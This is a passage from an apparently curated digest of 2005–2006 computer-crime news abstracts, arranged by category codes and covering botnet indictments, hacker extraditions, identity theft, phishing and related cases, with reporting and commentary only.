A 20-year-old California man was indicted in Seattle Friday, February 10, on charges that he used a computer "bot" network to cause computer malfunctions at Seattle's Northwest Hospital in January of 2005. Christopher Maxwell, of Vacaville, CA, was indicted by a federal grand jury on two counts of conspiracy to cause damage to a protected computer and commit computer fraud. He is alleged to have compromised computers at a number of U.S. universities for a large botnet that generated $100,000 in payments from advertising software companies, according to a statement released by the U.S. Attorney's Office for the Western District of Washington. Maxwell is alleged to have hacked computer networks at California State University, Northridge; the University of Michigan; and University of California, Los Angeles, using high-powered computers on those networks as part of an adware distribution operation.

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*

2006-02-13 **botnet scheme charge indictment zombie computer networks DDoS attacks monetary damages**

EDUPAGE; http://news.com.com/2100-7350_3-6038478.html

MEN CHARGED IN BOTNET SCHEME

Three men have been charged by federal authorities in a botnet scheme that reportedly netted the three $100,000 and caused $150,000 in damage. According to the indictment, Christopher Maxwell and two unnamed conspirators created a network of computers by illegally accessing networks at California State University at Northridge, the University of Michigan, and the University of California at Los Angeles. Using the network of zombie machines, the men installed adware on users' computers and also launched a denial-of-service attack on the network of Seattle's Northwest Hospital. The attack on the hospital resulted in the monetary damages cited in the indictment and also shut down the facility's intensive care unit. U.S. Attorney John McKay noted that although botnets are often seen as mere nuisances, this case shows that the repercussions from them can be deadly. If convicted, Maxwell could serve 10 years in prison and be fined $250,000.

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*

2006-02-14 **UK computer hacker penetration US govt computer fraud penetration fight extradition**

DHS IAIP Daily; http://today.reuters.com/news/newsArticle.aspx?type=domestic News&storyID=2006−02−14T145400Z_01_L14737329_RTRUKOC_0_US−BR ITAIN−USA−HACKER.xml&archived=False 36. February 14, Tech Web — Microsoft: IE zero−da

BRITISH COMPUTER HACKER FIGHTS EXTRADITION TO THE U.S.

A British computer enthusiast accused by the U.S. government of the world's "biggest military hack of all time" began his court fight against extradition to the United States on Tuesday, February 14. Gary Mckinnon was arrested in June last year on charges of computer fraud issued by U.S. prosecutors claiming he illegally accessed 97 U.S. government computers -- including Pentagon, U.S. Army, U.S. Navy and NASA systems. Prosecutors say he hacked into sensitive equipment over a one-year period from February 2002 and caused $700,000 worth of damage, after crippling U.S. defense systems in the wake of the September 11 attacks. If found guilty, Mckinnon could face up to $1.75 million in fines and 60 years in jail.

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*

2006-02-22 **spammer sentence personal data theft Acxiom data broker**

EDUPAGE; http://news.zdnet.com/2100-1009_22-6042290.html

SPAMMER SENTENCED FOR STEALING PERSONAL DATA

A federal judge in Arkansas has sentenced a well-known spammer to eight years in prison for illegally accessing and downloading more than one billion records from data broker Acxiom. Prosecutors alleged that in 2003, Scott Levine stole a password file from Acxiom, which claims to have the world's largest database of consumer information. Levine then used those passwords to download other sensitive information. Levine operated Snipermail.com, an e-mail operation that was repeatedly accused of sending spam and claiming that it was doing so with "opt in" authorization from recipients. Although there was no evidence that Levine used the information he stole from Acxiom for identity theft, a federal jury found Levine guilty in August of 2005 of unauthorized access to a computer connected to the Internet. Levine was also fined $12,300 and may be forced to pay restitution.

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*

2006-03-22 **online attack Internet hacking arrest Melbourne Australia IRC**

DHS IAIP Daily; http://www.heraldsun.news.com.au/common/story_page/0,5478,18 562814%5E661,00.html

MAN ARRESTED OVER ONLINE ATTACKS.

A man charged with over a series of high-profile international Internet hacking attacks was arrested in Melbourne, Australia, early Wednesday, March 22, after a joint state and federal investigation into the sophisticated attacks on Internet relay chat servers in Australia in 2005. The Belgian Federal Computer Crime unit tipped Australian authorities off to the attacks, which used botnets.

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*

2006-04-20 **University of Southern California USC hacking charges filed network administrator cybercrime**

EDUPAGE; http://news.zdnet.com/2100-1009_22-6063470.html

CHARGES FILED IN USC HACK

Charges have been filed against a network administrator in San Diego related to a June 2005 incident in which a server at the University of Southern California (USC) was compromised. Federal authorities have charged Eric McCarty with gaining unauthorized entry to a USC computer system for applications that contained information on more than 275,000 applicants dating back to 1997. Michael Zweiback, an assistant U.S. attorney in the cybercrimes and intellectual property unit, said, "Universities are becoming bigger and bigger targets to the hacker community," adding that "hackers always want to see if they can beat the technical people on the other side." If found guilty of the alleged hacking, McCarty could be sentenced to 10 years in federal prison.

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*

2006-05-02 **Vietnamese distributed denial-of-service DDoS hacking suspect arrest www.vietco.com Trojan Horse Microsoft Internet Explorer IE vulnerability flaw exploit**

DHS IAIP Daily;
http://www.sophos.com/pressoffice/news/articles/2006/05/viet ddos.html

VIETNAMESE DISTRIBUTED DENIAL-OF-SERVICE HACKING SUSPECT ARRESTED.

Sophos has announced news that a man has been arrested in Vietnam for launching a distributed denial-of-service attack against a commercial Website. The attack on Vietco's Website caused huge losses to the company. Nguyen Thanh Cong is suspected of beginning an attack on the Vietnamese e-commerce site, www.vietco.com, in March 2006. The Website, which has 67,000 regular members, auctions cell phones and other consumer electronics products. Cong faces charges for creating a Trojan horse that exploited a flaw in Microsoft's Internet Explorer. The Trojan horse, which is said to have been planted on a pornographic Website, turned unpatched computers into zombie PCs which were then ordered to repeatedly hit the Vietco site -- overwhelming its servers.

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*

2006-05-03 **Russian student conviction malware exchange Website**

DHS IAIP Daily;
http://www.sophos.com/pressoffice/news/articles/2006/05/russianvx.html

RUSSIAN STUDENT CONVICTED FOR RUNNING VIRUS DISTRIBUTION WEBSITES.

Sophos has reported the sentencing of a man who not only created his own malware, but ran two Websites distributing over 4000 different computer viruses. Sergey Kazachkov, a Russian science university student from Voronezh, was found guilty of making available thousands of pieces of malware via two virus exchange Websites. He was also said to have created and spread his own malicious software. Kazachkov has been given a two year suspended sentence, and will have to abide by conditions laid down by the court during a one year probation period.

Category 1A3 *Biographical notes on individual criminals (including arrests, trials)*

2006-05-05 **California man bot attack guilty plea zombie computer network**

DHS IAIP Daily;
http://news.com.com/California+man+pleads+guilty+to+bot+atta ck/2100−
7348_3−6069238.html?tag=alert

CALIFORNIA MAN PLEADS GUILTY TO BOT ATTACK.

Christopher Maxwell, a Vacaville, CA, resident, was accused of intentionally damaging a computer he was not authorized to access and using it to commit fraud. He made the guilty plea on Thursday, May 4, in federal district court in Seattle. Back in mid-2004, Maxwell and a group of co-conspirators created a network of bots using more than 13,000 zombies. Maxwell used the bot network to install adware on compromised computers, reaping commissions of approximately $100,000 for himself and his co-conspirators, according to the initial complaint.

Category 1A3 Biographical notes on individual criminals (including arrests, trials)

2006-05-09 **Jeanson James Ancheta Botmaster Underground guilty plea**

DHS IAIP Daily;
http://news.yahoo.com/s/nm/20060509/tc_nm/crime_botmaster_dc
;_ylt=AuAzPlcqryDNlBx5rov1ohkjtBAF;_ylu=X3oDMTA5aHJvMDdwBHNl
YwN5bmNhdA−−

BOTMASTER GETS NEARLY FIVE YEARS IN PRISON.

Jeanson James Ancheta, a well-known member of the "Botmaster Underground" who pleaded guilty in January to federal charges of conspiracy, fraud and damaging U.S. government computers, was sentenced Monday, May 8, to nearly five years in prison for spreading computer viruses. Prosecutors say 11 the case was unique because Ancheta was accused of profiting from his attacks by selling access to his "bot nets" to other hackers and planting adware into infected computers.

Category 1A3 Biographical notes on individual criminals (including arrests, trials)

2006-06-04 **spammer civil lawsuit settlement asset forfeiture student penalties**

RISKS 24

TEXAS MEGA-SPAMMER SETTLES WITH STATE, MICROSOFT

The Associated Press reported, "One of the world's most notorious spammers has settled lawsuits with the state of Texas and Microsoft Corp. that cost him at least $1 million, took away most of his assets and forced him to stop sending the nuisance e-mails. Ryan Pitylak, 24, who graduated from the University of Texas[in May 2006], has admitted sending 25 million e-mails every day at the height of his spamming operation in 2004…. Pitylak, who plans to help Internet companies fight spam, said he would sell his $430,000 house and a 2005 BMW to help pay his fines and legal bills."

1A4 Criminal hacker publications

Category 1A4 Criminal hacker publications

2005-07-11 **Phrack magazine publication ending computer security mischief information exchange**

EDUPAGE; http://software.silicon.com/security/0,39024655,39150241,00.htm

SECURITY COMMUNITY BEMOANS LOSS OF HACKER MAGAZINE

Long-time hacker magazine "Phrack" will stop being published this year after nearly 20 years as an information exchange for computer mischief, and at least some computer security experts believe computer users will be less safe after it is gone. Hackers have routinely undermined their own efforts by revealing their successes at compromising systems or causing other damage. Pete Simpson of computer security firm Clearswift noted that although the magazine makes computer exploits available to those who would use them to cause harm, by definition it also makes them available to the community of users working to protect computers from hackers. Simon Perry, vice president of security strategy at Computer Associates, said that security experts will still be able to find information about new exploits but that "Phrack was great as a one-stop shop" for such information. Simpson commented that after Phrack shuts down, younger hackers are likely to develop new vehicles to tell the world about their triumphs, once again leveling the playing field. Silicon.com, 11 July 2005

1A5 Criminal hacker organizations

Category 1A5 Criminal hacker organizations

2006-02-01 **computer hacking charge UK billionaire Scotland Yard investigation trial**

DHS IAIP Daily;
http://www.theregister.co.uk/2006/02/01/tycoon_hacking_charge/

UK TYCOON CHARGED WITH COMPUTER HACKING.

Matthew Mellon, the heir to a $11.7 billion oil and banking fortune, has been charged with a computer hacking offense over his alleged involvement in a snooping, bugging and blackmail ring in the United Kingdom. Mellon will appear alongside 17 other defendants in court later this month. Members of the group were arrested after a year long investigation by the Met Police into a detective agency run by a former policeman. Scotland Yard's probe unearthed evidence that suspects also broke into the National Health Service computers and stole medical files in order to facilitate blackmail. Investigators said members of the group donned false uniforms in order to gain access to premises where they left bugs. Mellon, chief designer at upmarket shoe firm Harry's, a company he created five years ago, is charged with conspiracy to cause unauthorized modification of computers. Another wealthy entrepreneur, Adrian Kirby, who made an estimated fortune of $115 million chiefly by running a waste disposal unit business, faces phone tapping, computer hacking and conspiracy to pervert the course of justice charges. Scott Gelsthorpe of Kettering, Northamptonshire, a former policeman in Essex, faces 15 charges. All 18 suspects face an appearance in court on Thursday, February 23.

Category 1A5 Criminal hacker organizations

2006-02-03 **WMF exploit code sale Russian hacker criminals Kaspersky Labs**

DHS IAIP Daily; http://www.newsfactor.com/news/WMF−Exploits−Sold−by−
Russian− Hackers/story.xhtml?story_id=01200162XEHO

WMF EXPLOITS SOLD BY RUSSIAN HACKERS.

According to Moscow-based antivirus firm Kaspersky Labs, Russian hackers propagated the Windows Meta File (WMF) exploit that wreaked so much havoc on computers in December 2005 by selling it to Internet criminals for $4,000. The exploit took advantage of a bug in Windows' rendering of WMF images, putting PC users at risk when they visited Websites that had been infected by the exploit. In a posting on its Website, Kaspersky said that over a thousand instances of malicious code based on the exploit were detected in a week. But because of the Christmas holiday season, less damage occurred than might have happened otherwise, Kaspersky said. According to Kaspersky researchers, the person who discovered the exploit in early December began selling it by the middle of that month to anyone prepared to pay $4,000. But the antivirus community only identified the exploit on December 27.

Category 1A5 Criminal hacker organizations

2006-03-30 **criminal gang computer criminal hacker recruiting SANS extortion fraud denial-of-service extortion**

DHS IAIP Daily; http://software.silicon.com/security/0,39024655,39157704,00.
htm

CRIMINAL GANGS RECRUITING HACKERS.

Speaking at the e-Crime Congress in London Thursday, March 30, Alan Paller, director of research for SANS, said weak digital security in businesses is helping hackers fund criminal activity. Paller said he had recently seen cases of criminal gangs recruiting hackers by threatening to harm their families unless they agree to carry out denial-of-service extortion attacks. Paller said the FBI is currently receiving more than one report of cyber extortion every day.

1A6 Criminal hacker psychology

Category 1A6 Criminal hacker psychology

2005-01-13 **web vandalsim hackers Bruce Schneier crime psychology**

NewsScan; http://tech.nytimes.com/pages/technology/index.html

SECURITY III: THE CRIMINAL CLASS

In an interview with journalist John Markoff of the New York Times, security expert Bruce Schneier suggests that the problem of Web vandalism has fundamentally changed in the last several years. Previously, hackers were mainly kids, engaging in hacking as a kind of intellectual challenge or a sport, but more recently hackers are coming mainly from criminals "in Third World countries, from Africa, South America, Asia, and the former Soviet Union" -- a development that makes life much harder for security officials. Schneier, whose latest book is "Beyond Fear," is founder and chief technology officer of Counterpane Internet Security. (New York Times 13 Jan 2005)

Category 1A6 Criminal hacker psychology

2005-06-08 **criminal hacker penetration government computers damage estimate extradition flying saucers UFOs theory jail charge allegations accusations**

RISKS; http://tinyurl.com/b6x5e 23 89

CRIMINAL HACKER "SOLO" ACCUSED OF BREAKING INTO US GOVT COMPUTERS TO FIND EVIDENCE OF UFO COVERUP

Rob Singh reported on the case in the London _Evening Standard_ newspaper:

Gary McKinnon, 39, was seized by the Met's extradition unit at his Wood Green home.

The unemployed former computer engineer is accused of causing the US government $1billion of damage by breaking into its most secure computers at the Pentagon and Nasa. He is likely to be extradited to America to face eight counts of computer crime in 14 states and could be jailed for 70 years….

Most of the alleged hacking took place in 2001 and 2002…. Friends said that he broke into the networks from his home computer to try to prove his theory that the US was covering up the existence of UFOs. He is accused of a series of hacking offences including deleting "critical" files from military computers. The US authorities said the cost of tracking him down and correcting the alleged problems was more than £570,000. The offences could also see him fined up to £950,000 if found guilty on all charges…. [T]he US first issued an indictment against him in November 2002.

Prosecutor Paul McNulty alleged that McKinnon, known online as "Solo," had perpetrated "the biggest hack of military computers ever". He was named as the chief suspect after a series of electronic break-ins occurred over 12 months at 92 separate US military and Nasa networks.

McKinnon was also accused of hacking into the networks of six private companies and organisations. It is alleged that he used software available on the internet to scan tens of thousands of computers on US military networks from his home PC, looking for machines that might be exposed due to flaws in the Windows operating system.

Many of the computers he broke into were protected by easy-to-guess passwords, investigators said. In some cases, McKinnon allegedly shut down the computer systems he invaded.

The charge sheet alleges that he hacked into an army computer at Fort Myer, Virginia, where he obtained codes, information and commands before deleting about 1,300 user accounts….

Category 1A6 *Criminal hacker psychology*

2006-04-13 **NASA hacker Gary McKinnon speaker Infosecurity Europe Guantanamo Bay stay unauthorized access penetration**

DHS IAIP Daily; http://news.zdnet.co.uk/internet/security/0,39020375,3926334 1,00.htm

NASA HACKER TO SPEAK AT SECURITY SHOW.

NASA hacker Gary McKinnon will be joined by other hackers and security experts on a panel discussion at the Infosecurity Europe conference Thursday, April 27, in London. McKinnon faces the prospect of an indefinite stay in Guantanamo Bay, but this won't prevent him from appearing on the Infosecurity panel and discussing hacking at a UK security conference. The NASA hacker is currently fighting extradition to the U.S. in what has been a protracted trial. He is charged with gaining unauthorized access to 97 U.S. government computers, including machines belonging to NASA and the Department of Defense. He claims he was searching for evidence of UFOs.

1B1 Adult pornography

Category 1B1 Adult pornography

2006-02-01 **spam anti-spam conviction unsolicited pornographic e-mail CAN-SPAM**

DHS IAIP Daily; http://www.computerworld.com/securitytopics/security/story/0,10801,108267,00.html?SKC=security−108267

CONVICTION SECOND-EVER FOR TRANSMISSION OF OBSCENE E-MAIL MESSAGES.

A California man accused of managing the computer system to send hundreds of thousands of pornography-related e-mail messages has pleaded guilty to violating a U.S. antispam law. Kirk F. Rogers of Manhattan Beach, CA, pleaded guilty in U.S. federal court in Arizona Tuesday, January 31, to violating the U.S. CAN-SPAM Act, according to the U.S. Department of Justice (DOJ). Rogers' plea is the second-ever U.S. conviction related to the transmission of obscene e-mail messages, the DOJ said. Rogers agreed to forfeit money obtained in his spamming operation and faces a maximum sentence of five years in prison for a one-count violation of CAN-SPAM (Controlling the Assault of Non-Solicited Pornography and Marketing Act). Sentencing is scheduled for June 5.

1B3 Pedophilia, kidnapping, Net-adoption fraud

Category 1B3 Pedophilia, kidnapping, Net-adoption fraud

2005-05-22 **pedophiles police children parents Internet chat guidance warnings assault rape**

http://www.news-journalonline.com/NewsJournalOnline/News/Headlines/03NewsHEAD03052205.htm

INTERNET PEDOPHILE PREDATORS OFTEN UNPUNISHED

A report in the Daytona Beach News Journal Online summarizes police experience with pedophile predators. These adults prey on pre-teens and early teens, especially young girls. The number of predators is so high that police officers in training who pose as thirteen-year-old girls cannot keep up with the number of instant-messaging solicitations they receive within minutes to hours of going online. Police urge parents to get involved in their children's online experience and not to be punitive if children report inappropriate behavior by someone they have met online.

Http://www.news-journalonline.com/NewsJournalOnline/News/Headlines/03NewsHEAD03052205.htm

[MK adds: see the booklet "Cyber-safety for All" available free at http://www2.norwich.edu/mkabay/cyberwatch/cybersafety.pdf Anyone may make copies of this guide for free distribution.]

1B5 Gambling

Category 1B5 Gambling

2006-04-12 **gambling electronic slot machines wireless reprogramming manipulation vulnerability corruption theft cheating**

RISKS; NYT; http://tinyurl.com/ou6jf 24 24

CASINO CAN REPROGRAM SLOT MACHINES IN SECONDS

As an enormous operational improvement, the 1,790 slot machines in Las Vegas's Treasure Island Casino can now be reprogrammed in about 20 seconds from the back-office computer. Previously this was an expensive manual operation that required replacing the chip and the glass display in each machine. Now it is even possible to have different displays for different customers, e.g., changing between "older players and regulars" during the day and a different crowd at night ("younger tourists and people with bigger budgets". (Slot machines generate more than $7B revenue annually in Nevada.) Casinos are also experimenting with chips having digital tags that can be used to profile bettors, and wireless devices that would enable players to gamble while gamboling (e.g., in swimming pools!). . . .

There are various risks of interest to RISKS. Regulators are concerned that machines might be "invaded by outsiders", while bettors are concerned that casinos could be intentionally manipulating the odds -- for example, giving preferential treatment to high rollers. Internal and external manipulation are clearly potential issues, which of course could be exacerbated by compromisible wireless security. By Nevada law, odds cannot be manipulated while someone is playing, although with four-minute timeouts before and afterward, machines may be reprogrammed on the fly.

If it were still April Fools' Day, I might suggest that the slot machines could be reprogrammable for use as voting machines on election day. That way you could have instant payoff if you vote the right way.

[Abstract and commentary by Peter G. Neumann]

1B7 Hate groups, speech

Category 1B7 Hate groups, speech

2006-05-04 **hate groups US Internet server use Islamic militants free speech terrorist recruitment**

DHS IAIP Daily; http://abcnews.go.com/Technology/wireStory?id=1925141

REPORT: HATE GROUPS USE U.S. INTERNET SERVERS.

Hate groups around the world, including Islamic militants, often use Internet servers based in the U.S. to send propaganda and instructions to followers, according to a report released Thursday, May 4, by the Simon Wiesenthal Center (SWC). The Center said it had logged some 6,000 Websites in the past year used by racists and bigots to incite violence. Extremist anti-Americans often find it easier and cheaper to use a site hosted in America since the U.S. has free speech and little Internet censorship. Recently, the center also has been intercepting an increased number of online tutorials and how-to manuals aimed at sympathizers who might actually be recruited to carry out attacks. SWC press release: http://www.wiesenthal.com/site/apps/nl/content.asp?c=fwLYKnN 8LzH&b=312458&content_id={433F72C6-2173-4360-8981-0BB7B508C4 87}&notoc=1 SWC's interactive report will be available for purchase May 2006: http://www.wiesenthal.com/site/pp.asp?c=fwLYKnN8LzH&b=242023

1B9 Non-virus hoaxes, urban myths

Category 1B9 Non-virus hoaxes, urban myths

2005-11-22 **FBI warning e-mail scam fraud Internet Crime Complaint Center**

DHS IAIP Daily;
http://www.cnn.com/2005/TECH/internet/11/22/email.scam.ap/index.html

FEDERAL BUREAU OF INVESTIGATION WARNS OF E-MAIL SCAM

The Federal Bureau of Investigation (FBI) issued an alert Monday, November 21, about a scam involving unsolicited e-mails, purportedly sent by the FBI, that tell computer users that their Internet surfing is being monitored by the agency. The users are told they have visited illegal Websites and are instructed to open an attachment to answer questions. The FBI did not send these e-mails and does not send any other unsolicited e-mails to the public. The FBI is investigating the scam. Recipients of these e-mails are asked to report them by visiting the Internet Crime Complaint Center. Internet Crime Complaint Center: http://www1.ifccfbi.gov/strategy/051122.pdf

1C2 Identity theft

Category 1C2 Identity theft

2005-01-27 **ID identity theft wallet checkbook study offline study**

NewsScan; http://apnews.excite.com/article/20050127/D87SE8NO0.html

MOST IDENTITY THEFT OCCURS OFFLINE

Despite growing concerns over online fraud, a new study conducted by the Better Business Bureau and Javelin Research finds that most cases of identity theft can be traced to a lost or stolen wallet or checkbook, rather than vulnerable online financial data. Computer crimes make up just 12% of all ID fraud cases in which the origin is known, and half of those are attributed to spyware that sneaks onto computers and steals private information. (AP 27 Jan 2005)

Category 1C2 Identity theft

2005-02-22 **ChoicePoint theft consumers ID identity theft**

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A45534-2005Feb22.html

PROTECTING YOURSELF AGAINST IDENTIFY THEFT

Consumers worried that their personal and financial data may have been captured by the criminals who scammed the ChoicePoint company are being assured by the Private Rights Clearinghouse: "If you don't receive a letter from ChoicePoint within the next 10 days, you can be assured you have not been a victim of this identity theft." Even so, you should always check your monthly bank and credit card statements to make sure all charges are valid, and you should review your credit reports at least once a year. If you do get a letter from ChoicePoint, follow its instructions, visit the FTC Web site, and obtain the affidavit credit bureaus require to place a long-term fraud alert on your account. And keep reviewing your credit history! (Washington Post 22 Feb 2005)

Category 1C2 Identity theft

2005-04-27 **software programs security data breach blame concerns identity theft fraud**

EDUPAGE; http://online.wsj.com/article/0,,SB111455367943717582,00.html

CONCERNS MOUNT OVER SOFTWARE'S ROLE IN DATA BREACHES

A number of retailers are pointing to software used at store checkouts as the weak link in the rash of recent security breaches. Magnetic strips on credit cards include--along with the credit card number--a three-digit code. Knowing that code can allow criminals to create counterfeit cards with embossed names that do not match the name attached to the account number. With that, a crook could present a photo ID that matched the name on a card, while the charge goes against an entirely different account. Software that handles credit card purchases is supposed to delete card numbers and the three-digit codes after a transaction, but several retailers now say that the systems keep those numbers in memory. John Shaughnessy of Visa USA said that a computer system that retained those numbers would be extremely tempting for criminals. Some retailers have filed suits against the makers of the software, seeking compensation for losses resulting from recent hacks. At least one software company, Micros Systems, rejected retailers' contentions, saying its products do not store such information. Wall Street Journal, 27 April 2005 (sub. req'd)

Category 1C2 Identity theft

2005-05-11 **social engineering fake bank machines identity theft fraud**

RISKS; http://tinyurl.com/cwhpd 23 89

FAKE ATMs IN ROMANIA USED FOR IDENTITY THEFT

Audacious thieves in Romania have constructed a complete automated teller machine (ATM), minus the cash box, to steal the details of account holders. Fake ATMs have appeared at apartment buildings or in areas of the capital where there are no banks. Usually criminals only place a fake panel over an existing ATM, and do not construct a complete machine. Romania's biggest bank, Banca Comerciala Romana (BCR), said customers should only use ATMs situated around bank branches. "Banks do not install ATMs in blocks of flats," BCR spokesman Cornel Cojocaru said.

[Abstract in RISKS by James Bauman]

Category 1C2 Identity theft

2005-05-18 **student report research John Hopkins University personal information harvesting**

EDUPAGE; http://www.nytimes.com/2005/05/18/technology/18data.html

STUDENTS SHOW EASE OF IDENTITY THEFT

Graduate students at Johns Hopkins University set out to see how much personal information they could collect on as many individuals as possible, using only the Internet and $50. The 41 students were in a course taught by Aviel D. Rubin, professor of computer science and technical director of the university's Information Security Institute, who divided them into groups of three or four and instructed them to use only legal, public sources of information. The exercise mimicked the activities of data brokers, such as ChoicePoint and LexisNexis, and the students were able to collect and aggregate vast amounts of information, even with limited time and budgets. Although Rubin was pleased that fewer Social Security numbers were among the data collected than he had anticipated, privacy advocates insisted that such information remains easy to obtain, posing enormous risk of identity theft. Even without Social Security numbers, the data collected represented for some individuals a very broad picture of who they are, where they live, and activities in which they participate. Such access to personal information worries many, including Sen. Ted Stevens (R-Alaska), who conducted a similar experiment, instructing his staff to try to steal his identity. Aside from information they discovered about Stevens, they were told they could buy his Social Security number for $65. New York Times, 18 May 2005 (registration req'd)

Category 1C2 Identity theft

2005-05-29 **identity ID theft education program Department of Education DVD thief interview**

EDUPAGE; http://www.nytimes.com/2005/05/30/national/30fraud.html

COLLEGES LEARN ABOUT IDENTITY THEFT FROM AN IDENTITY THIEF

As part of its efforts to increase awareness about student loan fraud, the Department of Education is distributing a DVD to colleges and universities of an interview with a convicted identity thief. As part of his plea agreement, John E. Christensen was interviewed by authorities to create the DVD, in which he describes how, over a period of three and a half years, he used the identities of more than 50 individuals to defraud the government of more than $300,000 in federal student grants and loans. Each year, the Department of Education disburses about $65 billion in financial aid. In the interview, Christensen, who is serving his prison sentence in Arizona, explains how he fraudulently obtained personal information and used it to register for classes and apply for financial aid. Because financial aid processes take place largely online, defrauding the government is "becoming easier and easier all the time," said Christensen. "You never have to see anybody." New York Times, 29 May 2005 (registration req'd)

Category 1C2 Identity theft

2005-08-26 **cyber scam fraud identity ID theft security firms FBI Sunbelt Software keylogging virus dissemination**

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4186972.stm

CYBERSCAM CONTINUES APACE

A recently discovered identity-theft scam continues to cause problems for Internet users, despite efforts by security firms and the FBI to stop it. Security firm Sunbelt Software uncovered the scam accidentally while investigating spyware. Sunbelt located an Internet server whose log files contained personal information harvested by keylogging from many thousands of users. The company notified the FBI, and the server was shut down soon afterwards, only to resurface later. Each time the servers are taken down, more of them appear elsewhere. The keylogging software, which is circulated by a computer virus, captures private information from users and transmits it to one of the rogue servers.
The FBI is working to find out who is operating the servers. In the meantime, Sunbelt has developed a tool that searches for the malicious software, which is has named Srv.SSA-KeyLogger. BBC, 26 August 2005

Category 1C2 Identity theft

2005-12-07 **study identity theft risk exaggerated ID Analytics fraud detection**

EDUPAGE; http://money.cnn.com/2005/12/07/technology/id_study.reut/

STUDY SAYS RISK OF ID THEFT EXAGGERATED

A new study conducted by California-based fraud detection company ID Analytics found that the risk of identity theft may not be as high as many believe it to be. The company analyzed data concerning four incidents in which sensitive information for roughly 500,000 people was compromised. ID Analytics followed the data for six months and found that the risk of having your identity stolen based on compromised information is relatively small. Further, the study showed that the greater the number of people affected in a breach, the lower the chances were that anyone would have their identity stolen. The company went on to say that efforts to notify every individual affected when sensitive information is illegally accessed might be doing more harm than good. Rather than notify everyone, according to ID Analytics, a company should spend its time and money helping consumers who are actually affected by a data breach. CNN, 7 December 2005

1C4 Anonymity

Category 1C4 Anonymity

2005-12-11 **anonymity defamation libel risk threat Wikipedia free online encyclopedia**

RISKS 24 12

ANONYMITY AND BAD WIKIPEDIA CONTENT

John Seigenthaler Sr. (a former editor of *The Tennessean* in Nashville, and founder of the First Amendment Center) was startled to find an entry on himself in Wikipedia that included defamatory false personal information about him -- for example, suggesting that Mr. Seigenthaler had been involved in the assassinations of John and Robert Kennedy. Mr. Seigenthaler then wrote an op-ed article in *USA Today*, noting among other things that he was especially annoyed that he could not track down the perpetrator because of Internet privacy laws.

The culprit's IP address led to his employer by Daniel Brandt of San Antonio -- who has been a frequent critic of Wikipedia after reading false information about himself! See his www.wikipedia-watch.org.

This led Brian Chase in Nashville to admit having written the offensive material as a joke, stating that he thought that Wikipedia was a "gag" Web site.

[Abstract by Peter G. Neumann]

Dr Neumann adds:

Coincidentally, that story broke on about the same day that the December 2005 issue of the *Communications of the ACM* came out, the inside back cover Inside Risks column of which is "Wikipedia Risks" http://www.csl.sri.com/neumann/insiderisks05.html -- written by four long-time RISKS contributors, Peter Denning, Jim Horning, David Parnas, and Lauren Weinstein who are on my ACM Committee on Computers and Public Policy. This case points up just one of the risks associated with Wikipedia noted in the Inside Risks article, namely that of having an encyclopedia contributed by thousands of volunteers, with few controls on content.

RISKS contributor Ian Halliday follows up (RISKS-24.13) by saying he does not buy Brian Chase's argument:

The claim that "he thought Wikipedia was a gag site" (RISKS-24.12) seems unlikely, and I see it on a par with those who say "no, I was just doing research" when caught hacking/visiting dubious web sites. Yet this seems to have caught the attention of some parts of the media who don't usually see visiting those sites as plausible research. The suggestion is that it is reasonable for somebody to be so mistaken as to think Wikipedia is a "gag" site. While some of the information there may not be 100% accurate, it's hard to see how this apparently mistaken view can be seen as a genuine defence.

[Summary by Karthik Raman]

1C5 Phishing

Category 1C5 Phishing

2005-01-18 **phishing policy e-mail URL link authenticity**

RISKS 23 68

A REAL PHISHING PAL

Tim Huckvale contributed this observation about the gap between security advice and performance:

I just received an e-mail from PayPal warning me that my credit card was about to expire. Naturally my first thought was that it was a phishing trip, but closer inspection showed it to be genuine.

It ended with the following warning:

> -
> PROTECT YOUR PASSWORD
>
> NEVER give your password to anyone and ONLY log in at
> https://www.paypal.com/. Protect yourself against fraudulent websites
> by opening a new web browser (e.g. Internet Explorer or Netscape) and
> typing in the PayPal URL every time you log in to your account.
>
> -

Typing in the URL is excellent advice. Such a shame that they defeated it by making the link clickable.

Category 1C5 Phishing

2005-02-01 **phishing authentication digital signatures e-mail Web URL**

RISKS 23 69

LOOKS LIKE A PHISH, SMELLS LIKE A PHISH….

John Pettitt wonders in RISKS why institutions are failing to use digital signatures on what otherwise look like phishing scams:

I just got this in my e-mail.

>Dear Cardmember,

Your 2004 Year-End Summary is now ready to view online. To access your Year-End Summary, please log in to http://americanexpress.com/yearendsummary2004 <http://www65.americanexpress.com/clicktrk/Tracking?mid=IUYES03020050201053636024433&msrc=ENG-YES&url=https://www124.americanexpress.com/cards/yes/yes_home.jsp?campaignid=Jan_email_05>.

With the online version you can view charges by merchant name, date, or charge amount; view your spending, spending of an Additional Card, or everything at once; and print and save your Year-End Summary for future use. As a *new* feature this year, you can also use business and personal check boxes to sort your annual transactions.

We look forward to serving you.<

As far as I can tell it's real - the sites it links to have certificates that are issued to Amex. However there is no way to tell without clicking the link and checking the certificate (something I teach my users not to do) that the mail really came from Amex. Even the message headers show it originating from aexp.com which sounds close but then so do the best phishing scams.

Given that a large percentage of the world now uses s/mime capable mailers (Outlook, Outlook express, Thunderbird, Mozilla, etc.), why is it that institutions are still sending unsigned e-mail?

Category 1C5 *Phishing*

2005-09-26 **phishing fraud data leakage surveillance password userID capture Web site social engineering**

Computerworld

YAPS (YET ANOTHER PHISHING SCAM): YAHOO!

Criminals fielded yet another phishing scam in late September 2005 in which they tricked people into visiting fake Yahoo Web sites to capture login information but forwarded the session to a real part of the Yahoo portal. The phishing site was located in a Geocities section of Yahoo, making it more difficult to detect the fraud through inspection of the URLs involved.

1D1 Organizations, cooperation for law enforcement

Category 1D1 Organizations, cooperation for law enforcement

2005-01-27 **web site child abuse UK US Australia Interpol partnership**

NewsScan; http://www.usatoday.com/tech/news/techpolicy/2005-01-27-child-abuse-site_x.htm

WEB SITE TO FIGHT CHILD ABUSE

